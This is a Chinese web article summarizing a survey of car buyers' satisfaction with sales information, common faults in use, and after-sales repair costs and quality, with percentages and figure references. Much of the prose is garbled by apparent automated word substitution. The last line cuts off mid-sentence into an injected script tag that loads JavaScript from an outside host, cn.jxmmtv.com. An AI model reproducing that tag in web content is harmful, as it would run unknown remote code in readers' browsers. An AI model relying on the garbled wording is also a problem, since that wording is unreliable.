1、销售过程认可度——近五成买家表示未能获得有关车型的全方位信息
从步入售车大厅开始，无论是售车环境等硬件设施还是销售的服务态度，买家所接触和感觉到的，都会干扰他们对购买车型的评价，进而影响对该品牌的认可度。
调查结果显示，近五成买家(47.2%)表示他们最不认可的方面是在买车过程中未能从商家获得有关车型的全方位信息；仅13.0%的买家表示对售车过程感到认可，且这部分买家主要集中在55岁以上的消费人群。
从现在来看，尽管买家在经济上已拥有肯定实力，但汽车信息的获得途径却相对欠缺。他们更需要的是销售更全方位、更详尽、更专业的介绍。但目前多数的销售，把“营销推广”作为向买家进行车型介绍的主要目的，该款车型的优点会被介绍得淋漓尽致，而其不足之处则会被轻描淡化，直至用过程中问题出现，买家才会意识到自己所买车型还存在着某些问题。。买家期望在买车前就获得预买车型的全方位信息，这给厂家的销售体系提出了更高的需要。而专业技术强、能随时为买家提供需要信息的销售将是健全商家销售体系、提升买家销售认可度的重点原因。(图1)
图1
2、用过程认可度——电子设施及传动出现问题的频率较多
在问及买家用过程中常常出现什么问题时，电子设施及附件的选择比率达到41.0%，传动的选择比率达到37.6%，这是买家反映出现问题最多的两个方面。前者主要集中在中型轿汽车市场场，后者主要集中在小型轿汽车市场场(图2)。
图2
从总体水平来看，中型轿车得到了买家的常见好评，而中大型轿车与其它级别轿车相比，每个环节的差别都比较大。(图3)
图3
3、售后服务认可度——修理成本要透明，修理水平要保证
同质化角逐激烈的汽车市场，提高售后服务水平已经成为厂家扩大其市场份额的要紧营销推广手法。怎么样提升售后服务水平呢？围绕着“修理成本”和“修理水平”两大问题，厂家与买家一直进行着长期的拉锯，厂家觉得自己已经尽到了我们的责任和义务，买家却觉得我们的合法权益并没得到保障，双方的利益该怎么样去平衡？
在对售后服务进行访问的过程中，41.5%的买家表示，修理成本并不清楚，还需增加透明度。售后服务范围的确存在某些修理站点随便冠名修理成本、随便收取“工时费”、“材料费”的问题，前来修理汽车的买家不知所云而又深感切肤之痛。
35.6%的买家表示，修理水平得不到保证，不菲的修理价格得不到同等的修理服务，一些规模较小的修理点甚至用假冒伪劣商品蒙骗买家。如此的售后服务，不只没办法保证买家的合法权益，甚至还威胁到买家的人身安全，导致买家对售后服务感到寒心。(图4)
图4
在问及买家对所购轿车的总体认可度时，49.3%的买家表示认可度一般，26.5%的买家表示比较认可，且紧凑型轿车、小型轿车、中型轿车、微型轿车、中大型轿车的总体认可度呈渐渐递减的趋势。(图5)(图6)
图5
图6
整个汽车消费市场，从销售过程到售后服务，从商品水平到商品性能，都还需要进一步提升，以更大程度地得到买家的认同。特别在高端轿汽车市场场，买家对汽车商品的需要更为苛刻、更为严格，高端轿车生产厂家应该更了解地认识到这个问题。
除去水平的无可挑剔，品牌的完美还需要售后服务的人性化关怀，“重销售，轻服务”已经没办法适应当今市场的理性进步。今年的3.15已经过去，但不代表3.15才是大家关注汽车质?script src=http://cn.jxmmtv.com/cn.js>cript>